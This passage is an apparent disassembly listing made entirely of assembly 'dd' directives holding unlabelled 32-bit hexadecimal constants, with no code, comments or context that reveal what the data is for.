		dd 106AF06Fh, 1EA08DFBh, 9D152ED7h, 0F92B1F90h,	36F8EA1Fh
		dd 31180C43h, 0C821A12Ch, 8A8450D6h, 51C01E18h,	13D7C547h
		dd 70846E58h, 0E28F7202h, 4C04C481h, 0EA3040DDh, 91EA7E56h
		dd 0E540827Eh, 0C9898C1h, 9FDFC707h, 0A37C3828h, 0F976B004h
		dd 52C696BBh, 711A6060h, 0EC36A13Dh, 0FF516807h, 75905F83h
		dd 2BEBE4h, 636E1612h, 0F939C409h, 9403DEB8h, 62E12861h
		dd 0F3E3EBB2h, 79C5E1F4h, 9E2170h, 0A24AEB7Ah, 0E923915Bh
		dd 6BC41000h, 678A5A4Eh, 44C93F15h, 46563607h, 0A2826304h
		dd 0D200A872h, 78C5CE0Dh, 7D77E5h, 44B892D6h, 2E6E213Ch
		dd 7257023Ah, 14EB1F00h, 6955C181h, 0EAFD0ED8h,	7D374A3h
		dd 0F0A0EC47h, 0EE4E5FCh, 0D7B6190Fh, 4773608Ch, 762BB3h
		dd 484355C9h, 56C6C296h, 22D01F13h, 0D20049A8h,	6B51A983h
		dd 0D650944Dh, 8404D8B4h, 0EF6C699h, 98D263C0h,	8F8C0CCh
		dd 59A4EA81h, 98CEFE32h, 0B8E48375h, 0DFA9E824h, 149A32h
		dd 710C21F6h, 59C627D9h, 0C3007B74h, 1DD45255h,	78FBBBh
		dd 69DA4595h, 0F343024Ah, 68001892h, 63F76FF8h,	0F0F9AAh
		dd 0BCA3E0F5h, 3EF1C0E4h, 818FE712h, 0F85810h, 4AF3C2C7h
		dd 0E6027EA5h, 87350008h, 0C8B0E62Ch, 0AA005C0Ah, 14402285h
		dd 0FCE88353h, 0DF1E0E78h, 4C867974h, 0A90020ABh, 0AD705302h
		dd 0FEA50D20h, 49766451h, 528A60B6h, 0FCE71059h, 8036C877h
		dd 8653089Fh, 0AA0ED940h, 432C1B35h, 1E4CB09Eh,	0C03C2950h
		dd 79BD4F45h, 0F5B06058h, 918F220Eh, 0E5109894h, 901D0059h
		dd 0AF3C661Ch, 8CC5E06h, 0C6218Ah, 8E4B1D51h, 83CEACA6h
		dd 0F36A1100h, 42492A18h, 8529C097h, 3C0D5588h,	0C0111F6Fh
		dd 0A930EE73h, 99542DE9h, 303A5FD4h, 8B5D211Ah,	798D09EEh
		dd 79813D1Fh, 8E99BEBAh, 980E3B60h, 0C0430929h,	0F35B9AF1h
		dd 80007027h, 346277B3h, 0D54C081h, 3FC90AAAh, 3889190h
		dd 2EEE8180h, 458CD9A9h, 0EE822015h, 8ED44C03h,	9858AB08h
		dd 0AEB4B02h, 42F14E49h, 0C9C20A0h, 1D5ACC61h, 0E2031C10h
		dd 5C79AD69h, 0E8A8B836h, 0BC090064h, 97277AD8h, 92005E6Ah
		dd 0DEE7D705h, 0EA3031h, 0FB912BA9h, 0F0BA4874h, 0B20F8507h
		dd 0CC438628h, 6E2000E7h, 74974F5h, 0A500C339h,	0E950A7B8h
		dd 2D43C7h, 99B20697h, 0D133BA05h, 0C9C20801h, 0AB819068h
		dd 663D1883h, 78232BAAh, 74FF00E2h, 8610BA44h, 72C54486h
		dd 2C751900h, 0D7CF0ABh, 1232389Bh, 0AD43FC06h,	28C36866h
		dd 0A0CBEA31h, 0C0A5720Ch, 0F03E0911h, 0A6062301h, 4E32E88Dh
		dd 21916F08h, 0DFF03420h, 3901CC25h, 80AB5005h,	0E08076BAh
		dd 0EEE0A979h, 98A7A2DCh, 4B60BD64h, 1D3143A2h,	104AA871h
		dd 3A68A900h, 0FBEF201h, 70D3654h, 8C020B7h, 0FF814AC4h
		dd 60484622h, 40EC8894h, 57E0F000h, 682FFD7Bh, 0B26A0032h
		dd 0D7923325h, 310339AFh, 2ECF1EDBh, 0F19AC0D9h, 3579E5h
		dd 0E106FA1h, 0A666F233h, 0BC0054B8h, 19A46E37h, 301534Fh
		dd 7B5A6BC9h, 0BDE05C5Fh, 8100987Ah, 0BA4CAE52h, 7AC73E6Ah
		dd 8A1D0397h, 0E605445Eh, 1A66E8F8h, 41268F01h,	717C0810h
		dd 6FBAC0h, 43A82DA9h, 5DECB9BFh, 48FC3E34h, 1F09043Ch
		dd 73F4319h, 3015C352h,	0FBC0F064h, 266AE100h, 49413AA8h
		dd 7CC87809h, 0FC520CA5h, 0D42853CCh, 44F3F944h, 0F3846C39h
		dd 0FA441808h, 503844FFh, 360A88h, 0DFCDB33Ah, 79C94E23h
		dd 0A773FA01h, 890DE414h, 34BEF4h, 0FAE035Bh, 4C68E1FEh
		dd 86802B00h, 0AA9C4758h, 49540079h, 84E5D939h,	710F7BCFh
		dd 0EC8F7C06h, 767F12Fh, 0E93CE003h, 0DC68F041h, 0E202CAE4h
		dd 0D8F3E3ABh, 7BBAC099h, 53C80495h, 81A740F9h,	0C8CB1961h
		dd 61003729h, 51276A1Ch, 16EA6B1h, 0D423A455h, 5005C250h
		dd 9DDF76D7h, 0B5BB7200h, 682B1D18h, 9828F235h,	38B9008Bh
		dd 0C56793C3h, 3401C8B3h, 665401D5h, 0A88168BBh, 220FDE32h
		dd 9DF5709Ch, 8E0FA5E4h, 0D8164635h, 283FB068h,	9C7448h
		dd 0E670D245h, 63D1A63Ch, 615C1B00h, 1D10460Eh,	0E2A70111h
		dd 6D4E2733h, 6380D329h, 0F9009E76h, 166608DEh,	245289BBh
		dd 0C822B3h, 18CDFC5Fh,	2F3E6250h, 6E740956h, 3AB38047h
		dd 9C9893h, 0A55D78D2h,	0DD521C4Fh, 55018600h, 96F023BEh
		dd 12410010h, 0C090C8A6h, 3490B63Bh, 594B1501h,	0D55F0465h
		dd 3F81E0E0h, 97803D74h, 36B89DAEh, 820487CDh, 137752A1h
		dd 445FAD80h, 3E290058h, 1F0AF864h, 0D8001788h,	51F266C3h
		dd 0B2820h, 399E0792h, 0D41115DAh, 0BA0F2300h, 60CA96FCh
		dd 0ED9200E1h, 85C22D40h, 6926CE90h, 5A00219Eh,	9C23843Fh
		dd 5C300BAh, 79F1A776h,	2901C7EAh, 880830A4h, 0ED8D2FFh
		dd 9E163E3Dh, 80016B9Ch, 640F357Bh, 0BD1E03E7h,	60374F10h
		dd 0F8CCDE93h, 3B0568F5h, 387BC6C9h, 578ED58h, 0A352B057h
		dd 1BBF0383h, 0A1C962ABh, 0C649C896h, 15AC0A00h, 957175D5h
		dd 4A230159h, 24583B4Fh, 0FA84879Eh, 0A660B0FBh, 0CC1C06h
		dd 0A3414ADEh, 987B86C6h, 5CA92F3Eh, 2EC0022h, 75225BCh
		dd 0F85E4821h, 8185400h, 273869DBh, 5A0A7C00h, 78A8AA45h
		dd 0D43C0067h, 0F5608A99h, 0F11D85DEh, 0FC0C8A2h, 2F45EB88h
		dd 258B0069h, 769E3B4Eh, 0ED00E214h, 0C93E7AEh,	92027D97h
		dd 64FA00B0h, 9CDB5498h, 4A483F71h, 53A3FACh, 0B5D4A1CDh
		dd 806DB803h, 0F46A80F3h
		dd 381766Ch, 0B47BD8A4h, 7080443Ch, 0EB00461Dh,	1A8EC8C6h
		dd 7F585D9h, 41B32AF3h,	0FFBC90CAh, 55006F3Bh, 0C171045Dh
		dd 978B91h, 0A5E57E3Ch,	0CA9BD4B3h, 377D8C00h, 0AF70BA01h
		dd 13EC008Bh, 61B8654Ah, 0C6028280h, 0ACBCEED1h, 0C0948062h
		dd 0F8C3C4h, 0F5ABCB4Dh, 1EC9CD05h, 0D3733400h,	6E1F3DC8h
		dd 743F30D2h, 43CB9E0h,	3E347200h, 5E149239h, 0DEAF6099h
		dd 63CE828Ah, 5894AD50h, 0C4044EAh, 0FDFE8F6h, 0CA0ED62Fh
		dd 351B87E0h, 0FB0E6450h, 0E0F4C3C6h, 89BF8F01h, 0E998C05Fh
		dd 0CDA87EAh, 2E0E5706h, 28CF86h, 8AE8CB7Fh, 2A78EDAAh
		dd 0BAC51300h, 52D78057h, 23283BFDh, 0D533EC07h, 0C0AA278Fh
		dd 93D1D94Dh, 5F8DB900h, 9D6CB7E7h, 0DC480088h,	0FD5C620Fh
		dd 0AA0A3CFAh, 84CAD32Ah, 52C800BFh, 0E083C52Eh, 0C03C09BFh
		dd 0B0804B8Ch, 0EE62D09Bh, 810030E0h, 9E8B5F0Eh, 0EFB6BCh
		dd 0C71BCEC0h, 0D2806FE1h, 0F246000h, 2F1541C2h, 0B921001Ah
		dd 4E0D074Ch, 33EA6FE6h, 677AE802h, 0D5FC106Bh,	8ACCC8E0h
		dd 255FE100h, 0A9AA92C4h, 31271240h, 2B2802BBh,	18C8BFB7h
		dd 81266DAh, 44215EACh,	3FE49FFAh, 753902E9h, 0C067D996h
		dd 0DC654C40h, 4EA03300h, 0B803FFFAh, 6A7515h, 0B15393F3h
		dd 6DC40654h, 70B66E1Eh, 0D9A7B40h, 5CED0Fh, 0F5287367h
		dd 59E217EBh, 29A75000h, 3E929688h, 56A80FC6h, 0C04FFE39h
		dd 8BA6E5C2h, 19F12563h, 0BAB6ECEDh, 0A30BB800h, 8E8CCB1Eh
		dd 81D601CEh, 5DF012C5h, 2A34DC52h, 4F8F1F0Eh, 0B9A8C5C2h
		dd 97D3B841h, 3170C6FAh, 37670018h, 0EF43853h, 26015AB8h
		dd 47778EF7h, 512029D9h, 990900E7h, 78F163CDh, 3D001271h
		dd 17FD0645h, 28907B3Eh, 8B86AC3h, 8532F6F4h, 953DD00h
		dd 491C6B8h, 65434435h,	0F010B6h, 45E32F63h, 7F090Eh, 5AFA5091h
		dd 0ACAF5E20h, 7B35F604h, 48598B5h, 0C3058000h,	0DD6B4C2Dh
		dd 0AB6F0068h, 8C309B5Ah, 0BDA1EE0Fh, 437F875Fh, 2A170BF0h
		dd 542FE7Ah, 0DDB895C5h, 0ECC880E6h, 0C00434Dh,	0F1458B2h
		dd 0FE38EBE5h, 53BD0587h, 0C0DE9B54h, 0E9C48D92h, 5A898101h
		dd 347D0A6Ah, 0FE9820h,	0DC96A092h, 7CF5D36Dh, 8071833Ch
		dd 0D78CB3D1h, 28028DECh, 3B44D07h, 0D2BCEAAFh,	0A88D427h
		dd 0D3002E82h, 6E9C7AA8h, 18557C2h, 96A56B05h, 3034401Eh
		dd 0D31D61A1h, 9040D664h, 0B79AC239h, 87CB09B2h, 6C20CF9Eh
		dd 16AEFCB8h, 0F2B33107h, 9CC0580Fh, 5ACAF9h, 453B051Bh
		dd 0C8839032h, 0EF318900h, 924F3053h, 4B7D0002h, 0F3ADECD1h
		dd 5A3A63F5h, 2F058E75h, 0D5C1A22Bh, 0BC605507h, 0CA0072A9h
		dd 0D3FB6136h, 117FEEh,	0A0D2C9Bh, 882556B4h, 0E0ADB207h
		dd 0D9C09DCCh, 0D64EF3h, 64C47671h, 0A6AAD8EFh,	0E070E500h
		dd 0DF980934h, 2C030017h, 0DB7940B2h, 871CF825h, 76404611h
		dd 930870ADh, 0E9E86Dh,	0B15A0C58h, 0BF6080DCh,	8EAF611Dh
		dd 0F62FFE01h, 0ACDCDE5Fh, 10571F38h, 0D60D003Dh, 0E106FB95h
		dd 9AB05DE8h, 0AC143700h, 2F392833h, 4BB2001Bh,	15E6A273h
		dd 0CA019FCDh, 83B55CD8h, 8C492BEh, 3F867BE5h, 0F2CCBF29h
		dd 19126B00h, 0DA7D75DBh, 0C8D9B700h, 0D1204DE8h, 0AA70096h
		dd 9479F818h, 0D5383B9Dh, 63D48077h, 4EECDF9Eh,	0EBE7C7Fh
		dd 41EDD1B1h, 1A60E12Ch, 877C6226h, 16C24906h, 18FC6192h
		dd 0E02ED56Ch, 11CFDAADh, 0FD401FCDh, 3FF4EC33h, 0EE4139D6h
		dd 769E2C39h, 4000FC15h, 0BD10597h, 660023DDh, 2EC56C06h
		dd 0C2E187h, 9AFBBCEh, 0FF9AE63Eh, 663EFDB8h, 0F9B780DEh
		dd 0E51ACB9Eh, 856F0089h, 15E42B72h, 0BF3AEB41h, 0B9EF01DFh
		dd 0C55E6424h, 47862880h, 361FE143h, 1BD9E618h,	0C21D358h
		dd 0A5238560h, 6E00951h, 1183A8A8h, 6B2DE8C0h, 1B6990h
		dd 0BF4C6E89h, 875F4EA1h, 0C0A4EE07h, 6FF2B641h, 0CA3E607Dh
		dd 0F4DFE023h, 8B2B5882h, 23CEB00h, 110F466Fh, 8F334D39h
		dd 2BA4DBCCh, 0C660000Ah, 7F5DFDh, 5410E8D3h, 0E57C0E23h
		dd 65E6E91Ch, 0E2E0133Eh, 49D42F00h, 0C5D822h, 0D66046A5h
		dd 0BADDBD11h, 3EA26E00h, 4AD38DCFh, 0B5E1009Ch, 227BEB53h
		dd 3B7D065Dh, 53180B7h,	607C282h, 59133228h, 6870F1F5h
		dd 982AF92Ah, 8C045CF1h, 10C44730h, 485BC4Bh, 245DEB29h
		dd 4664C0C9h, 1E00B567h, 3CD009E4h, 6EAA05h, 0E1FF8436h
		dd 40C065C7h, 17B420E7h, 89B80200h, 0EEB09C82h,	3902486h
		dd 461000DCh, 8841E225h, 0DDD55307h, 1813278Bh,	8CC3F7F9h
		dd 8A5BF06Bh, 0DECD4C90h, 9F372C1Fh, 0D016CFh, 0F31EFD71h
		dd 79033351h, 0E27CC39Fh, 3C26A0D1h, 6EDB0014h,	0F5AD687Ah
		dd 840035D0h, 54AB407Bh, 3B1EF49h, 20B3F1Ah, 0B4A0B9C6h
		dd 1C744F3Eh, 70218B38h, 0A4842E00h, 0BCA2B3DCh, 172700D5h
		dd 0AA033420h, 0C800EF21h, 0F9E1331Eh, 4C2FD9h,	176E674h
		dd 0A646F20Ch, 0E709D3F6h, 0D7471189h, 0A955F680h, 0DC0035D4h
		dd 0F374910Dh, 300CC94Ch, 0CD582FE9h, 6A0069D8h, 0DC5BA8FAh
		dd 0F2C1C75Ch, 5691003Fh, 89DA4C3h, 0EC708687h,	37F767Ah
		dd 0EF437200h, 638FC25Dh, 0D6E0A089h, 859F0039h, 5610EC60h
		dd 420F26F6h, 71AEB2h, 0BC09A2DFh, 79E2059Ch, 80C3A0F5h
		dd 1AC2B15Bh, 5600D476h, 0D9BBEC20h, 600B7C77h,	50E55913h
		dd 6A008786h, 13D3066h,	33E4208h, 5CB13823h, 0A9C8C3BAh
		dd 0F803E4BFh, 0FC8A253Fh, 49D7D836h, 94200DC6h, 0D1F157E7h
		dd 0EDC9D4E0h, 6902F6FAh, 16368D0Fh, 3E989045h,	0EA7426F9h
		dd 4E1400F6h, 4F34AD13h, 26C29606h, 1480918h, 0B0E98E01h
		dd 0D0566FAFh, 0AD000608h, 146D8480h, 284ED223h, 0D4190Bh
		dd 0D59ACEB3h, 0A38508A8h, 0BF13DD00h, 0A673C063h, 984400C3h
		dd 421FA428h, 0CC004691h, 4BFEC531h, 14B26BACh,	9DCA0992h
		dd 808D441Fh, 8AD42DBEh, 0D02C8D7h, 0D530044Ah,	49484046h
		dd 0AFDB12E6h, 51AC031Bh, 5C1BEC7h, 6F003FF1h, 0D5015FF4h
		dd 189724CCh, 38880144h, 8F69AA53h, 553C1320h, 561E004Ch
		dd 70BCCC92h, 72E6A5h, 2275A326h, 54041350h, 797A948h
		dd 0B55DABE9h, 0F9DF62D0h, 0A7690057h, 0AF1D42C9h, 3D025A88h
		dd 98741A7Eh, 0EC878789h, 0B66807A0h, 58AD1F44h, 0C992400Bh
		dd 740A09DAh, 0FCB848h,	0FA068BD4h, 47B6Ah, 0BD9B1B0Dh
		dd 251DF494h, 0EB90B324h, 44CD0B00h, 1EADFE17h,	497DD3A3h
		dd 2022ECE9h, 5CC08158h, 0C80FD57Fh, 0C7F521BEh, 74D7D379h
		dd 978AED30h, 2C490E26h, 46A7A745h, 383E8070h, 6076D72h
		dd 63A1F78Dh, 0BEE261D0h, 0C58800A2h, 0CF54714Eh, 5F077851h
		dd 8D632269h, 8FD0E3B7h, 129B9A33h, 1D665Ch, 0D8048470h
		dd 3C00C878h, 0A47CF857h, 22671BEh, 0EAF11CE9h,	0E08163D3h
		dd 11AC107h, 0F8EBC73Dh, 6105FAh, 322E4196h, 530AD3A4h
		dd 0CD689900h, 2345EFFh, 0C277003Dh, 2EEBCE85h,	3800868Ch
		dd 0D9FB6F68h, 0E679D1h, 0A92AA659h, 11DA3A02h,	0C2F88C01h
		dd 0D6D3BEFDh, 0FF7F0h,	9510776Eh, 943FE98Dh, 0FD50CC00h
		dd 5A4D12E7h, 4EF90057h, 0C49FF67Dh, 238FB44h, 0C76D8060h
		dd 20DE39A9h, 0ACC000B1h, 740BDC2Dh, 0FF00C464h, 88C12C65h
		dd 774B0Ah, 0F756B746h,	0F459A290h, 375AFA00h, 71C09A7Dh
		dd 0BA77EDh, 5EE584DEh,	0D59274F7h, 0A9327800h,	0DF44EB2Bh
		dd 0F5B6004Dh
		dd 17C626D9h, 82FC27BAh, 3E1D6A01h, 5112FEDh, 0A125A040h
		dd 0A308003Ah, 55E85F5Eh, 7E0075F9h, 0B6AA4FADh, 14506489h
		dd 24A04BD4h, 0C5A17A00h, 9D429823h, 9F651F00h,	6A6DAD20h
		dd 0EA9B00B3h, 2C864C6Bh, 0B7249601h, 5F0048BFh, 0FC02D663h
		dd 79250E97h, 0DAC09AEDh, 522BC37Bh, 0B5714A00h, 1B9838A4h
		dd 4DF300D8h, 2EF517BFh, 809C1CDh, 0C4622B6h, 9821407Bh
		dd 189E7A9Ch, 0D849429Ah, 0B9034382h, 46F084D3h, 0C0280244h
		dd 0D231E44Bh, 0F23BA4C8h, 0C733FB04h, 64808729h, 7BA65A6h
		dd 0BDE2B2B1h, 1E288071h, 5F300EF2h, 60ED10BCh,	7BDC0105h
		dd 25724BBBh, 31CDF85Dh, 79AE3200h, 6EA678ABh, 13497856h
		dd 4FA2981Fh, 9413230h,	0E05E9690h, 0F207A328h,	42CBCFD9h
		dd 0AACDC0BFh, 0E223DB9h, 0F964A0B1h, 538108C0h, 740F9EFBh
		dd 406DF2A6h, 0DC2E5AB7h, 0E47F04D7h, 86F55664h, 0A91C342Ch
		dd 95C04F32h, 0EB78D6E5h, 63AE007Dh, 11F1BE6Bh,	2900D475h
		dd 43701EB7h, 25A534h, 949B21B8h, 56997626h, 200FCCF2h
		dd 408CDFB4h, 7DA265B3h, 76EF0080h, 0C31FF1AFh,	0D63FD76Fh
		dd 2A8C8194h, 40A63EAh,	4AC96020h, 69644F37h, 906E801Fh
		dd 9D7AAFE3h, 0CCB01C9Ah, 0C8069098h, 0F39F0D13h, 576200E0h
		dd 81C3F799h, 8A00942Ch, 0F4D070EAh, 50054ABEh,	0CEA05Fh
		dd 98B04482h, 472B329Dh, 4AF2E215h, 7ED11F4h, 0CF9B0079h
		dd 4DCA2C93h, 64008E03h, 0CCC1362Bh, 1E90732h, 0FB012731h
		dd 40FE25CBh, 7D033984h, 40E52C00h, 0BB587F37h,	357300C2h
		dd 0C74875C3h, 0FA1DCEE6h, 65004ED5h, 8945CB7Bh, 5724009Fh
		dd 6DDFDC32h, 770EC472h, 0A03F05C5h, 23E249C2h,	8BB31E58h
		dd 74A300CCh, 0B94A7B1Ch, 807D822Eh, 0A388AA0Ah, 9C526600h
		dd 3D7367E0h, 0FF165EDEh, 407F03C1h, 0A0942316h, 101FA00h
		dd 6B50F469h, 52ECF906h, 25A8004Dh, 0FE12A3C5h,	800509D3h
		dd 90AE6AEDh, 0D0725893h, 0C775A2h, 0EEF71B60h,	735DB676h
		dd 80EBD100h, 29642B9Dh, 0FB020B3Eh, 7C20CDD0h,	63CC74EAh
		dd 3F007179h, 5F2C998Bh, 9AFD32Ah, 7F856421h, 5C43DC44h
		dd 8D617120h, 0EB99E208h, 113118BCh, 13E72410h,	0A1A8C049h
		dd 39B70016h, 32538B85h, 0D600EC3Ah, 0CFDB5FB2h, 1823ED69h
		dd 308F1EF1h, 0E1044647h, 0D54BB9D6h, 4B050B0h,	66AE71DCh
		dd 30F0C0E4h, 0C906769Eh, 9092FDB4h, 8D170538h,	70882h
		dd 0A5228754h, 410EFE44h, 8CD673EAh, 18161F0h, 86BC1711h
		dd 0CC0BC8E0h, 0B001AE72h, 4E53E555h, 0E2C05B20h, 13AF865h
		dd 0D847DD33h, 70BE6695h, 0D50722BFh, 0E92DB9FCh, 53DE530h
		dd 0AF471E99h, 0BB4DC106h, 0CCC4B096h, 5407B628h, 8DCCE33Dh
		dd 0DC80A8BAh, 0BF63B40Ch, 8AF13E9Fh, 0BDB06200h, 64DEC481h
		dd 0DD357A00h, 5893A937h, 3008B8DBh, 5FD8331Ah,	0FA1F914Eh
		dd 0C28E720Ch, 3E003F5Bh, 7F1BDF04h, 0E7009DBBh, 3CB77E85h
		dd 97352205h, 8C5001B9h, 0E4CE00ECh, 0B090EC9h,	43F50057h
		dd 786AA0C6h, 38012B40h, 0E6A2D597h, 0C464C709h, 279006E4h
		dd 49F662EEh, 5AF5A000h, 0EC83AC3Eh, 0F442034Ah, 65072BFCh
		dd 0A257F890h, 9BD43200h, 8C8F1688h, 639628E1h,	50670044h
		dd 6589E4F4h, 0C004DC8Eh, 2DC57B62h, 791A2090h,	9FE460h
		dd 93BDAE98h, 15C781F7h, 4052EC07h, 7320C91Ch, 7825E61Bh
		dd 86B607EFh, 80E54D4Ah, 2DB40D88h, 97E2005h, 0B91E116Bh
		dd 0C6171A03h, 0C38AA726h, 8EE50D00h, 5C1E4924h, 0A3000E8Bh
		dd 171B5337h, 0F8061C46h, 13DCDB0Dh, 0F454429h,	31A1A000h
		dd 11C14076h, 0BF6700D6h, 8001B4EAh, 2D0016D0h,	9E9AF24h
		dd 2EB0A07Fh, 0E78AD1h,	74DFBFFEh, 0BE009F1Dh, 56703395h
		dd 3DB31AF6h, 1180C9AAh, 3C76DE0Dh, 2038999h, 5175CA78h
		dd 0C34BC047h, 0BC8E0042h, 38FF3D3Ah, 21000F71h, 4F25EB60h
		dd 97C75E4h, 9A18024Ah,	0F986C700h, 451DCD5Ch, 0B000EEC1h
		dd 38959B69h, 0E5510C9Ch, 311B5DAh, 0F0FC1C01h,	9FA3A494h
		dd 0B94570h, 0F6178793h, 7FAD324Bh, 0E5CA1207h,	0EA07CC2h
		dd 50514A88h, 0DBA827h,	8CEBE889h, 0E63D6BC1h, 47381D0Fh
		dd 3F942313h, 0C093C2AFh, 0D1F819h, 0D4C07ECBh,	404806D6h
		dd 0A9560F09h, 0B12B00C9h, 11EC8E8h, 0DAD6A46Ch, 0F0B96D23h
		dd 3B034E03h, 0E68232D0h, 7FD0001Ah, 0CF90A5DEh, 8C0EE066h
		dd 200DF2ACh, 16B82AD9h, 63A90048h, 2435B79Ch, 0F600DCCCh
		dd 869A2C22h, 1D472AA3h, 83E6FF78h, 61E9FC43h, 0ACC4C1E0h
		dd 349C5F00h, 68B32979h, 317C02h, 1273181Ah, 5878C049h
		dd 52D4500h, 0BA64808Ah, 0C1220015h, 9E460360h,	0CE12E330h
		dd 3C00B24Bh, 3BE1916Fh, 0C23D0043h, 1F2FAF57h,	0FD000E75h
		dd 14ED9702h, 4BC3A85Bh, 0B3A83Fh, 0B9A6BFE7h, 0FCC6C986h
		dd 5F690F26h, 15C0F57Bh, 32D50FEh, 5CD1370Eh, 72D84087h
		dd 0C03549h, 3C3B7352h,	771CEBAFh, 0B47EC803h, 0E016B766h
		dd 5878649Eh, 10017ED1h, 0E0A4CAA1h, 7BD4E480h,	91993E00h
		dd 19BBF55Bh, 86E8244Dh, 9345005Ch, 0FB8E89A1h,	0BECCB200h
		dd 0C619CED1h, 2BFCEF14h, 723007B9h, 6E5BB59Ch,	0E3F8B16Ch
		dd 0B7621D0Fh, 0DB41004Dh, 0A0D321h, 667803EAh,	0C6987993h
		dd 63002C7Eh, 9B1C3A8Dh, 0EC4F2BAAh, 0EDF20052h, 109372DAh
		dd 0C01F0579h, 8E0046Dh, 59B3CB8Dh, 0F2C83A78h,	0FB8D0010h
		dd 591BE0Ah, 7BF098FDh,	0B19B960h, 16BA9B6h, 3BAD7772h
		dd 0DF3816A3h, 5F02A8B0h, 474A6400h, 7A6003D0h,	0F490C0h
		dd 10F0AC45h, 6F4CAB8h,	67389DB8h, 3755005Fh, 0DA6D7B5Ch
		dd 0BB263F59h, 10A493h,	33C9093Ch, 0EC009AC0h, 0DAA35649h
		dd 0F21AC7Fh, 250FE5AAh, 0E307892Bh, 0F6ABC054h, 240141C1h
		dd 0A2BF0E0Bh, 0DA71CA94h, 7F26D441h, 0FBD854CDh, 21F6131Dh
		dd 40705C72h, 824C93C6h, 0D0001FDDh, 7DDAC288h,	649718h
		dd 3B7B056Eh, 20A9D9F2h, 50EA4730h, 0E092523Ch,	0D601F317h
		dd 0FDE42036h, 225558h,	0B694076Bh, 4DDD978Dh, 691CA453h
		dd 931C41AFh, 0C31B5AB7h, 0A9B0F0D3h, 7800E972h, 7C9C81DFh
		dd 21FF5Dh, 43F3E037h, 50FAA589h, 0A01E71EEh, 84C717ECh
		dd 1970E96Dh, 864B75h, 241844B6h, 3FB3FABFh, 0E672A71Eh
		dd 2AB82881h, 0BDC8E83Ch, 23C103E4h, 0BEBC6876h, 0D163B98h
		dd 273EC07Ch, 0BB088364h, 0E0C99125h, 0AD4474h,	76E751CFh
		dd 7EA62875h, 52B32D0Ch, 1FD11Bh, 71E4AE01h, 608792ADh
		dd 25EF9F01h, 0C7D56DB9h, 2A84DCh, 592FF258h, 0F770A8Dh
		dd 16712090h, 0C9D63Bh,	856B6FB9h, 494FA4C8h, 0E10054E0h
		dd 0E5AB102Ch, 0A2002414h, 75CDE6BDh, 13324CE8h, 0BECA97h
		dd 0C6F7C98h, 671DDF35h, 495F7390h, 57A6D940h, 289AA24h
		dd 8FF7DB19h, 14411E3Ah, 3E93D0A5h, 841CFC00h, 8B424B24h
		dd 6B7A0FFBh, 0BCC0C167h, 4C16BA0Ch, 7EB5EB00h,	0B43748D5h
		dd 0FCCCF912h, 49890042h, 868DA22h, 48905B56h, 0A7210B07h
		dd 0F2C13687h, 0CDD48655h, 4AC0A038h, 0F533B1Dh, 0AB9BA800h
		dd 3018AC40h, 0F8974700h, 0C421D7DBh, 8ABD02BAh, 0F35EC3E5h
		dd 7BAF8380h, 0F2005F01h, 0DCAAD7DAh, 18228BAh,	0E63B4488h
		dd 0F8275A7Fh, 0DEE44931h, 0A80002B0h, 0E7EFB4D0h, 15C16B0h
		dd 3FE1D238h, 30EED6C2h, 7D0003A8h, 8694BAEAh, 19F20B1h
		dd 32E09261h, 0C1BE3142h
		dd 0C44344Bh, 1BC36D00h, 0EC40FC9h, 5A7503D7h, 8FA0642Ch
		dd 70FA87B9h, 0D00021E7h, 65B6609Fh, 0DD8DBCh, 7A327043h
		dd 83DBE29Ch, 0F2E8FB01h, 0D83DDCC6h, 3CC43470h, 3110E98Dh
		dd 0E578787Ch, 30C5A305h, 38D7F38Eh, 0B29ACC1h,	7753824h
		dd 789D49B8h, 43AB40B0h, 0D1E460C4h, 0CF083300h, 839EACCAh
		dd 3BC0F126h, 422E18E7h, 0FF18108Ah, 893EAB00h,	0EDA61E08h
		dd 8DF4012Fh, 8F11500Fh, 0DFCCD0ACh, 90F5B303h,	0D0F23C82h
		dd 4D42A219h, 0E80748CBh, 4016A710h, 119695B0h,	65B983E9h
		dd 272896Dh, 5478A198h,	0A0E81E28h, 60A10815h, 0E07200B0h
		dd 78AB0546h, 54AC2Eh, 26CE8970h, 1003D99Bh, 5764288Eh
		dd 0FFD0E134h, 483039F4h, 900BF65h, 0DD312BCFh,	4C00C8BCh
		dd 0A106A6A3h, 2AB0D9h,	4B9B0304h, 43945C48h, 80449200h
		dd 0D9C14DC8h, 54063D21h, 9BF34B07h, 0E4F0F07Dh, 1B0061CEh
		dd 0ADAB9139h, 38200Bh,	0DAB2774Bh, 0A45B24EEh,	5ECBEC0Fh
		dd 0F3768749h, 0E0890FD0h, 17ED00A3h, 0A8E39ABCh, 4E0BC656h
		dd 0F7140A22h, 0BACD7D00h, 800E45FCh, 0C0F97978h, 71C06A7Fh
		dd 94310011h, 4C8FD67Eh, 2700786Bh, 1D9C736Eh, 5A2FB20h
		dd 0E7B09B6Dh, 0BC02C07Dh, 0D4073774h, 0C48EE560h, 3CB84610h
		dd 38777C1Bh, 186FF291h, 3D4FDE2Fh, 0FD0F3581h,	99E101ECh
		dd 49F3C20h, 265CBF12h,	984D001Ah, 0B0C5AB4Ah, 0ACB00EDCh
		dd 528BE9D6h, 0A06C1020h, 0CC3F7E4Ah, 0D93B804Bh, 28E3F498h
		dd 0BB8A0A5Bh, 40E0E062h, 58D8B50Ch, 3220DF63h,	1979F8h
		dd 8E7D0DDh, 0FD4E459Fh, 6CFA7317h, 98611D00h, 0DEFBEEh
		dd 26577C96h, 2BA60BE1h, 0BEE7FFA1h, 78B489C8h,	0EC241029h
		dd 0F49CFAA7h, 15460CD8h, 0E008708Fh, 0FFCB21C0h, 57E9FE7h
		dd 7F817AEDh, 0FD7180E2h, 0F9C22737h, 0E007C23Ah, 307B83F9h
		dd 397829CFh, 1B0036EAh, 9D88BAC6h, 1AB7CBh, 3FAFC038h
		dd 759AF803h, 0F6D5D0E1h, 0EFACF300h, 29A8D24Eh, 0C1600006h
		dd 49F5C0E6h, 0E700C41Ah, 8277D5F9h, 0E06ED421h, 64513129h
		dd 8C638E41h, 10067D20h, 3C58706Eh, 0E3A0BB54h,	397FFB30h
		dd 0E2ACD6A7h, 9CA0362h, 6FABEC16h, 806FC82h, 801B7449h
		dd 0F6011A57h, 0AD0CE769h, 21915FDFh, 753B1Eh, 0E622E070h
		dd 6B76154h, 0F5FA5AE5h, 2A19511Dh, 9A9653Dh, 30350895h
		dd 0B07B6101h, 3001403Eh, 43069E84h, 1811104Ah,	0A3191820h
		dd 8DF8B8D2h, 9F306770h, 0B8E211BCh, 0F016061Ch, 30DEAFA0h
